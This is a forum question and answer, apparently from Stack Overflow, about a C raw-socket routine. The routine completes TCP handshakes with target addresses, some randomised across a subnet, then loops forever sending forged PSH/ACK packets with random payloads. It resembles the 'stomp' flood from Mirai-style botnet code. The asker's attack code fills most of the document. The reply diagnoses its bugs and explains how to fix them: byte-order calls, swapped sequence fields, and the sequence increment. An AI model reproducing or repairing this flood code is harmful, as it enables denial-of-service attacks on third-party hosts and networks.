4 0.819841 192.168.52.128 170.33.9.35 TCP 74 39958 → 11158 [SYN] Seq=0 Win=65232 Len=0 MSS=1359 SACK_PERM=1 TSval=2198523866 TSecr=0 WS=128
8 0.894724 170.33.9.35 192.168.52.128 TCP 58 11158 → 39958 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
9 0.894857 192.168.52.128 170.33.9.35 TCP 60 39958 → 11158 [ACK] Seq=1 Ack=1 Win=65232 Len=0
13 1.895277 192.168.52.128 170.33.9.35 TCP 70 [TCP Previous segment not captured] 39958 → 11158 [PSH, ACK] Seq=809438908 Ack=2685525536 Win=65232 Len=16
14 1.895300 170.33.9.35 192.168.52.128 TCP 54 [TCP Dup ACK 8#1] 11158 → 39958 [ACK] Seq=1 Ack=1 Win=64240 Len=0
19 2.895745 192.168.52.128 170.33.9.35 TCP 70 [TCP Retransmission] 39958 → 11158 [PSH, ACK] Seq=809438908 Ack=2685525535 Win=65232 Len=16
20 2.895759 170.33.9.35 192.168.52.128 TCP 54 [TCP Dup ACK 8#2] 11158 → 39958 [ACK] Seq=1 Ack=1 Win=64240 Len=0
25 3.895946 192.168.52.128 170.33.9.35 TCP 70 [TCP Retransmission] 39958 → 11158 [PSH, ACK] Seq=809438907 Ack=2685525535 Win=65232 Len=16
26 3.895967 170.33.9.35 192.168.52.128 TCP 54 [TCP Dup ACK 8#3] 11158 → 39958 [ACK] Seq=1 Ack=1 Win=64240 Len=0
30 4.896407 192.168.52.128 170.33.9.35 TCP 70 [TCP Retransmission] 39958 → 11158 [PSH, ACK] Seq=809438908 Ack=2685525536 Win=65232 Len=16
31 4.896427 170.33.9.35 192.168.52.128 TCP 54 [TCP Dup ACK 8#4] 11158 → 39958 [ACK] Seq=1 Ack=1 Win=64240 Len=0
35 5.820383 192.168.52.128 170.33.9.35 TCP 60 [TCP Retransmission] 39958 → 11158 [FIN, ACK] Seq=1 Ack=1 Win=65232 Len=0
36 5.820439 170.33.9.35 192.168.52.128 TCP 54 11158 → 39958 [ACK] Seq=1 Ack=2 Win=64239 Len=0
81 24.720406 170.33.9.35 192.168.52.128 TCP 54 11158 → 39958 [RST, ACK] Seq=1 Ack=2 Win=64239 Len=0
i trying to send psh.ack packet after handshake but in wireshark i got TCP Previous segment not captured and Spurious retransmissions and always ack and sequence of my psh.ack comes with large number and seems like wireshark doesn't capture the syn sequence as tcpdump does
// Set up receive socket
if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
//printf("Could not open raw socket!\n");
return NULL;
}
i = 1;
if (setsockopt(rfd, IPPROTO_IP ,IP_HDRINCL, &i, sizeof (int)) == -1)
{
//printf("Failed to set IP_HDRINCL. Aborting\n");
close(rfd);
return NULL;
}
int IPTTL = 127; //IP_TTL
int MSS = 1259; //MTU SIZE
// Retrieve all ACK/SEQ numbers
for (i = 0; i < targs_len; i++)
{
int fd;
struct sockaddr_in addr, recv_addr;
socklen_t recv_addr_len;
char pktbuf[256];
time_t start_recv;
stomp_setup_nums:
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
//printf("Failed to create socket!\n");
continue;
}
//Set it in nonblocking mode
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
setsockopt(fd, IPPROTO_IP ,IP_TTL, &IPTTL, sizeof (int)) == -1;
setsockopt(fd, IPPROTO_TCP ,TCP_MAXSEG, &MSS, sizeof (int)) == -1;
// Set up address to connect to
addr.sin_family = AF_INET;
if (targs[i].netmask < 32)
addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
else
addr.sin_addr.s_addr = targs[i].addr;
if (dport == 0xffff)
addr.sin_port = rand_next() & 0xffff;
else
addr.sin_port = htons(dport);
// Actually connect, nonblocking
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
start_recv = time(NULL);
while (TRUE)
{
int ret;
recv_addr_len = sizeof (struct sockaddr_in);
ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
if (ret == -1)
{
#ifdef DEBUG
//printf("Could not listen on raw socket!\n");
#endif
return NULL;
}
if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
{
struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));
if (tcph->source == addr.sin_port)
{
if (tcph->syn && tcph->ack)
{
char *payload;
stomp_data[i].addr = addr.sin_addr.s_addr;
stomp_data[i].seq = ntohl(tcph->seq);
stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
stomp_data[i].sport = tcph->dest;
stomp_data[i].dport = tcph->source;
#ifdef DEBUG
//printf("ACK Stomp got SYN+ACK!\n");
#endif
// Set up the packet
struct iphdr *iph;
struct tcphdr *tcph;
pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
payload = (char *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = 0;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph->id = htons(0xffff);
iph->ttl = ip_ttl;
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = LOCAL_ADDR;
iph->daddr = stomp_data[i].addr;
tcph->source = stomp_data[i].sport;
tcph->dest = stomp_data[i].dport;
tcph->seq = stomp_data[i].ack_seq;
tcph->ack_seq = stomp_data[i].seq;
tcph->doff = 5;
tcph->fin = TRUE;
tcph->ack = TRUE;
tcph->window = htons(63500 + (rand_next()%1500));
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
rand_str(payload, data_len);
break;
}
else if (tcph->fin || tcph->rst)
{
close(fd);
goto stomp_setup_nums;
}
}
}
if (time(NULL) - start_recv > 10)
{
close(fd);
goto stomp_setup_nums;
}
}
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
char *data = (char *)(tcph + 1);
iph->id = rand_next() & 0xffff;
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->seq = htons(stomp_data[i].seq++);
tcph->ack_seq = htons(stomp_data[i].ack_seq);
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
targs[i].sock_addr.sin_port = tcph->dest;
sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
}
}
here is the code even with
tcph->seq = htonl(rand() % 2);
tcph->ack_seq = htonl(rand() % 2);
i can't get the ack-seq as i defined whats wrong with my code
Not really sure exactly what you're trying to achieve but I suspect it's ultimately doomed to failure. However, I think I see the proximate cause:
You're pulling the sequence and ACK numbers from the incoming packet and storing them into stomp_data[i]
and (correctly) using ntohl
when storing them.
When you attempt to send packets later though, you have two problems referencing these lines:
[while loop 1]
stomp_data[i].seq = ntohl(tcph->seq);
stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
[while loop 2]
tcph->seq = htons(stomp_data[i].seq++);
tcph->ack_seq = htons(stomp_data[i].ack_seq);
You are not reversing seq
and ack_seq
(the ack_seq
sent by the remote is telling you what your local seq
needs to be -- you do swap them later in the first loop but then you're overwriting that value in the second loop).
You're using htons
but the sequence fields are both u32
so this should be htonl
. The result is that you're dropping two of the four sequence number bytes in each value (and no doubt getting 0000 in those areas of the header).
Also, it looks like your own notion of your sequence number will be messed up after the second loop if data_len
is not 1, because you're sending data_len
bytes (again no definition shown for that), but then you're only incrementing your local sequence value by one (via stomp_data[i].seq++
).
Though it may depend on what exactly you're trying to achieve, I'm doubtful you will ultimately be successful in this endeavor since, once you have crafted additional data packets, you will confuse your local kernel's network stack, which may well interfere with your "out-of-band" communication. That is, you send some data to the remote peer via your raw socket, it will send an ACK for that data. However, your local kernel will not be aware of that data and its notion of the local sequence number will not match the remote's notion. I don't know exactly what the actual affect will be, but at best, you'll be unable to close the socket gracefully, because the local stack's sequence number will be rejected by the remote peer when it tries to send a FIN.